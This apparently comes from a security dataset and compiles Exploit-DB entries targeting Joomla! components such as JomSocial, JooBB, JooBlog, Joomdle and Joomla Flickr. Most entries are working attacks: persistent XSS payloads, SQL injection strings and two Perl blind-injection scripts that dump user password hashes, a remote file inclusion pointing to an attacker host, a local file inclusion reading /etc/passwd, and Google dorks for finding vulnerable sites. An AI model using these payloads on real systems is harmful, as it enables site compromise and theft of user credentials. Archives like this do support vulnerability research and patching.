deardaniel/secdata-raw huggingface dataset:
Exploit-DB #13962
Description: Joomla! Component JomSocial 1.6.288 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-06-21
Author: jdc

Exploit:
# Software Link: http://jomsocial.com
# Version: 1.6.288

Since Sid3^effects published a single one of these 21 June 2010 -
http://www.exploit-db.com/exploits/13955/ - I figured the cat's out of
the bag...

His exploit works even on 1.8RC1, however it gets sanitized once it hits
the server (there's an ajax update that shows the marquee, but further
views render it inoperable).

The following were reported to Azrul back in March and patched in an
update 31 March 2010.


Persistent XSS
--------------
The following fields allow for persistent XSS in admin panel (requires
admin to edit profile & click the field):

status, mobile phone, land phone, state, city, website, college

test" onclick="alert(1)


Edit Details > Name field persistent XSS:
-----------------------------------------
t"/onmouseover="alert(1)

executes on avatars located on:
* admin edit user page
* the main jomsocial page in the members avatar field at the top
* affected user's profile
* who's online
* the wall posts
* group discussion replies (but not the initial discussion message)
* people search results
* compose message
* write message friend list multiselect
* new message notification
* inbox (main listing)
* inbox (while reading message)
* friends approval list
* online users mod
* latest members mod

possibly others...



Groups name field persistent XSS:
---------------------------------
g"/onmouseover="alert(1)//

mouseover executes on:

* latest groups
* group listing
* group search results
* frontend edit group form
* admin edit group modal

possibly others...



Messages Persistent XSS
-----------------------
subject & message fields do not filter html tags properly:

xss<img/src/onerror=alert(/xss/.source)//

occurs in both main inbox (subject) and while reading message (both)



Groups Album Description Persistent XSS
---------------------------------------
d"/onmouseover="alert(1)//

this XSS is rendered in the tips section of the album listing



Report **** Admin Persistent XSS
--------------------------------
"message" field is not properly sanitized, admin must view reports for
execution (no other interaction needed)

<img/src/onerror=alert(1)//

if POST data is tampered before submission, the report url can also be
exploited
doing so only requires minimal admin interaction in backend:

%23%22%2fonmouseover%3D%22alert%281%29%2f%2f

NOTE: it is possible to merely change the url hash, but then the form
will not send



Search People input Reflective XSS
----------------------------------
search people input: t"/onmouseover="alert(1)
Exploit-DB #41385
Description: Joomla! Component JomWALL 4.0 - 'wuid' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-18
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component JomWALL v4.0 - SQL Injection
# Google Dork: inurl:index.php?option=com_awdwall
# Date: 18.02.2017
# Vendor Homepage: http://dashbite.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/clients-a-communities/communities/jomwall/
# Demo: http://demo-dashbite.com/
# Version: 4.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_awdwall&task=gethovercard&wuid=[SQL]
# # # # #
Exploit-DB #5719
Description: Joomla! Component JooBB 0.5.9 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-06-01
Author: His0k4

Exploit:
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
  print "                                                                \n";
  print "   #############################################################\n";
  print "   #   Joomla Component Joo!BB Blind SQL Injection Exploit     #\n";
  print "   #   Author:His0k4 [ALGERIAN HaCkeR]                         #\n";
  print "   #                                                           #\n";
  print "   #   Conctact: His0k4.hlm[at]gamil.com                       #\n";
  print "   #   Greetz:   All friends & muslims HacKeRs                 #\n";
  print "   #   Greetz2:  http://www.palcastle.org/cc :)                #\n";
  print "   #                                                           #\n";
  print "   #   Usage:   perl jobb.pl host path <options>               #\n";
  print "   #   Example: perl jobb.pl www.host.com /joomla/ -f 1        #\n";
  print "   #                                                           #\n";
  print "   #   Options:                                                #\n";
  print "   #     -f    Forum  id                                       #\n";
  print "   #   Note:                                                   #\n";
  print "   #   If you need to change the match value so do it :D       #\n";
  print "   #############################################################\n";
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my $fid     = $ARGV[2];

my %options = ();
GetOptions(\%options, "u=i", "p=s", "f=i");

print "[~] Exploiting...\n";

if($options{"u"})
{
  $userid = $options{"u"};
}

if($options{"f"})
{
  $fid = $options{"f"};
}

syswrite(STDOUT, "[~] MD5-Hash: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $path, $userid, $fid, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $path, $userid, $fid, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}

print "\n[~] Exploiting done\n";

sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $uid   = shift;
  my $fid   = shift;
  my $i     = shift;
  my $h     = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host.$path."index.php?option=com_joobb&view=forum&forum=".$fid." and (SUBSTRING((SELECT password FROM jos_users LIMIT 0,1 ),".$i.",1))=CHAR(".$h.")";
 
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
 
  my $resp = $ua->get($query);
  my $content = $resp->content;
  my $regexp = "Announcements";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }

}

# milw0rm.com [2008-06-01]
Exploit-DB #7078
Description: Joomla! Component JooBlog 0.1.1 - 'PostID' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-10
Author: boom3rang

Exploit:
#######################################################
 Joomla Component com_jb2(PostID) SQL-injetion Vulnerability					                
#######################################################

###################################################
#[~] Author :  boom3rang 
#[~] Kosova Hackers Group [www.khg-crew.ws]
#[~] Greetz : H!tm@N, KHG, chs, redc00de, LiTTle-Hack3r, L1RIDON1.

#[!] Module_Name:  com_jb2
#[!] Script_Name:  Joomla
#[!] Google_Dork:  inurl:"option=com_jb2 "PostID"
##################################################

--------------------------------------------------------------------------------------------------------------------------------------------------
#[~] Example:                  
http://localhost/Path/index.php?option=com_jb2&PostID=[exploit]
--------------------------------------------------------------------------------------------------------------------------------------------------
#[~] Exploit:            
-9999'/**/UNION/**/SELECT/**/1,unhex(hex(concat(username,0x3a,password))),3,4,5,6,7+from+jos_users/*
--------------------------------------------------------------------------------------------------------------------------------------------------

##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
##############################

# milw0rm.com [2008-11-10]
Exploit-DB #5734
Description: Joomla! Component JooBlog 0.1.1 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-06-03
Author: His0k4

Exploit:
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
  print "                                                                \n";
  print "   #############################################################\n";
  print "   #   Joomla Component JooBlog Blind SQL Injection Exploit    #\n";
  print "   #   Author:His0k4 [ALGERIAN HaCkeR]                         #\n";
  print "   #                                                           #\n";
  print "   #   Conctact: His0k4.hlm[at]gamil.com                       #\n";
  print "   #   Greetz:   All friends & muslims HacKeRs                 #\n";
  print "   #   Greetz2:  http://www.palcastle.org/cc :)                #\n";
  print "   #                                                           #\n";
  print "   #   Dork :   inurl:com_jb2                                  #\n";
  print "   #   Usage:   perl jooBlog.pl host path <options>            #\n";
  print "   #   Example: perl jooBlog.pl www.host.com /joomla/ -c 5     #\n";
  print "   #                                                           #\n";
  print "   #   Options:                                                #\n";
  print "   #     -c    Category  id                                    #\n";
  print "   #############################################################\n";
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my $cid     = $ARGV[2];

my %options = ();
GetOptions(\%options, "u=i", "p=s", "c=i");

print "[~] Exploiting...\n";

if($options{"u"})
{
  $userid = $options{"u"};
}

if($options{"c"})
{
  $cid = $options{"c"};
}

syswrite(STDOUT, "[~] MD5-Hash: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $path, $userid, $cid, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $path, $userid, $cid, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}

print "\n[~] Exploiting done\n";

sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $uid   = shift;
  my $cid   = shift;
  my $i     = shift;
  my $h     = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host.$path."index.php?option=com_jb2&view=category&CategoryID=".$cid." and (SUBSTRING((SELECT password FROM jos_users LIMIT 0,1 ),".$i.",1))=CHAR(".$h.")";
 
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
 
  my $resp = $ua->get($query);
  my $content = $resp->content;
  my $regexp = "jb_post_footer";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }

}

# milw0rm.com [2008-06-03]
Exploit-DB #41641
Description: Joomla! Component JooCart 2.x - 'product_id' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-20
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component JooCart (Joomla OpenCart Integration) v2.x - SQL Injection
# Google Dork: N/A
# Date: 20.03.2017
# Vendor Homepage: http://soft-php.com
# Software: https://www.opencart.com/index.php?route=marketplace/extension/info&extension_id=4478
# Demo: http://demo.soft-php.com
# Version: 2.x
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_opencart&route=product/product&product_id=[SQL]
# # # # #
Exploit-DB #41444
Description: Joomla! Component JooDatabase 3.1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-24
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component JooDatabase v3.1.0 - SQL Injection
# Google Dork: inurl:index.php?option=com_joodb
# Date: 24.02.2017
# Vendor Homepage: https://feenders.de/
# Software Buy: https://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/joodatabase/
# Demo: https://joodb.feenders.de/db-example.html
# Version: 3.1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_joodb&view=catalog&format=html&reset=false&Itemid=321&task=&search=[SQL]&searchfield=Ihsan_Sencan
# http://localhost/[PATH]/index.php?option=com_joodb&view=catalog&format=html&reset=false&Itemid=321&task=&search=Ihsan_Sencan&searchfield=[SQL]
# # # # #
Exploit-DB #5132
Description: Joomla! Component jooget 2.6.8 - SQL Injection
Type: webapps
Platform: php
Date: 2008-02-16
Author: S@BUN

Exploit:
###############################################################
#
# joomla SQL Injection(com_jooget)
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
################################################################
#
# DORK 1 : allinurl: id "com_jooget"
#
# DORK 2 : allinurl: detail "com_jooget"
#
   DORK 3 : allinurl: "com_jooget"

################################################################
EXPLOIT :

index.php?option=com_jooget&Itemid=S@BUN&task=detail&id=-1/**/union/**/select/**/0,333,0x3a,333,222,222,222,111,111,111,0,0,0,0,0,0,0,0,1,1,2,2,concat(username,0x3a,password)/**/from/**/jos_users/*

################################################################
# S@BUN               i AM NOT HACKER               S@BUN
################################################################

<name>jooget</name>
  <creationDate>15.07.2007</creationDate>
  <author>joomlapixel</author>
   <authorEmail>info@joomlapixel.eu</authorEmail>
  <authorUrl>www.joomlapixel.eu</authorUrl>

  <version>2.6.8</version>
  <description>jooget!download manager semplificato per joomla!.</description>

# milw0rm.com [2008-02-16]
Exploit-DB #4416
Description: Joomla! Component joom12pic 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-09-16
Author: Morgan

Exploit:
######################################
# Joom!12Pic Component RFI           #
######################################

Bug in :
/administrator/components/com_joom12pic/admin.joom12pic.php?mosConfig_live_site=
Variable : $mosConfig_live_site

Dork: "com_joom12pic"

Example:

http://xxx.net/administrator/components/com_joom12pic/admin.joom12pic.php?mosConfig_live_site=[attacker]


Greets to all Irc.RealWorm.Net #Morgan Users ;)

# milw0rm.com [2007-09-16]
Exploit-DB #14127
Description: Joomla! Component Joomanager - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-30
Author: Sid3^effects

Exploit:
Note from the vendor received 10Mar11:

The old code was using JReguest::GetVar and we change it to JReguest::GetInt so the catid must be an integer only and not text.

We updated this over 6 months ago in version 1.1.1


1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name :  Joomla joomanager SQli Vulnerability 
Date : june, 30 2010
Critical Level 	: HIGH
Vendor Url : http://www.joomanager.com/
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_,Sn!pEr.S!Te,n4pst3rr
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description:


JooManager enables you to create a phenomenal real estate website for your clients so they can dominate the listing market!  Today's most successful Realtors have already realized that consumers are using search engines to buy and sell real estate. JoomProperty from its front end display to its extremely user-friendly backend technology, is built to adhere to search engines' best practices.

###############################################################################################################

Xploit: SQLi VUlnerability

 
DEMO URL : http://server/component/joomanager/?view=itemslist&catid=[sqli]

###############################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #42590
Description: Joomla! Component Joomanager 2.0.0 - 'com_Joomanager' Arbitrary File Download (PoC)
Type: webapps
Platform: php
Date: 2017-08-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Joomanager 2.0.0 - Arbitrary File Download
# Dork: N/A
# Date: 30.08.2017
# Vendor Homepage: http://www.joomanager.com/
# Software Link: https://extensions.joomla.org/extensions/extension/vertical-markets/real-estate/joomanager/
# Demo: http://www.joomanager.com/demo/realestate
# Version: 2.0.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The security obligation allows an attacker to arbitrary download files..
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?option=com_joomanager&controller=details&task=download&path=[FILE]
# 
# Etc..
# # # # #
Exploit-DB #41362
Description: Joomla! Component JoomBlog 1.3.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-15
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component JoomBlog v1.3.1 - SQL Injection
# Google Dork: inurl:index.php?option=com_joomblog
# Date: 15.02.2017
# Vendor Homepage: http://joomplace.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/authoring-a-content/blog/joomblog/
# Demo: http://demo30.joomplace.com/our-products/joomblog/
# Version: 1.3.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_joomblog&task=tag&tag=Ihsan_Sencan[SQL]
# # # # #
Exploit-DB #14466
Description: Joomla! Component Joomdle 0.24 - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-24
Author: kaMtiEz

Exploit:
[!]===========================================================================[!]

[~] Joomla Component Joomdle SQL vulnerability 
[~] Author	: kaMtiEz (kamzcrew@yahoo.com)
[~] Homepage	: http://www.indonesiancoder.com
[~] Date	: 24 july, 2010

[!]===========================================================================[!]

[ Software Information ]

[+] Vendor : http://www.joomdle.com/
[+] Price : free
[+] Vulnerability : SQL
[+] Dork : inurl:"CIHUY" ;)
[+] Download : http://sourceforge.net/projects/moodle-joomla/files/
[+] Version : 0.24 or lower ;)

[!]===========================================================================[!]

[ Live From JoGJa . . . ]

[ Vulnerable File ]

http://127.0.0.1/index.php?option=com_joomdle&view=detail&cat_id=1&course_id=[INDONESIANCODER]

[ XpL ]

-999.9'+UNION+ALL+SELECT+1,2,3,4,5,group_concat(username,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18+from+mdl_user--+and+'kaMtiEz'='kaMtiEz


[ d3m0 ]

http://www.site.com/index.php?option=com_joomdle&view=detail&cat_id=1&course_id=-999.9'+UNION+ALL+SELECT+1,2,3,4,5,group_concat(username,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18+from+mdl_user--+and+'kaMtiEz'='kaMtiEz
etc etc etc ;]

[ INFO ]

[+] in this component using mdl_user NOT jos_users ;) [+]

[!]===========================================================================[!]

[ Thx TO ]

[+] INDONESIAN CODER TEAM MainHack MAGELANG CYBER ServerIsDown SurabayaHackerLink IndonesianHacker MC-CREW IH-CREW
[+] tukulesto,M3NW5,arianom,N4CK0,Jundab,d0ntcry,bobyhikaru,gonzhack,senot,Jack-,Hakz,pl4nkt0n
[+] Contrex,YadoY666,bumble_be,MarahMeraH,newbie_043,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,vYcOd,ayy,otong,CS-31,yur4kh4,MISTERFRIBO,GENI212,anharku


[ NOTE ] 

[+] WE ARE ONE UNITY, WE ARE A CODER FAMILY, AND WE ARE INDONESIAN CODER TEAM 
[+] ndue tonggo mbek sedulur kok koyo anj*ng
[+] Poker ;)
[+] sendiri di pagi hari sambil merokok menikmati indahnya pagi ;)

[ QUOTE ]

[+] INDONESIANCODER still r0x
[+] nothing secure ..
Exploit-DB #12085
Description: Joomla! Component Joomla! Flickr 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-06
Author: AntiSecurity

Exploit:
==================================================================================================================


  [o] Joomla Component Joomla Flickr Local File Inclusion Vulnerability
 
       Software : com_joomlaflickr version 1.0.x
       Vendor   : http://aloiroberto.wordpress.com/software/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[dot]antisecurity[dot]org
       Home     : http://antisecurity.org/


==================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_joomlaflickr&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_joomlaflickr&controller=../../../../../../../../../../etc/passwd%00


==================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


==================================================================================================================


  [o] April 06 2010 - GMT +07:00 Jakarta, Indonesia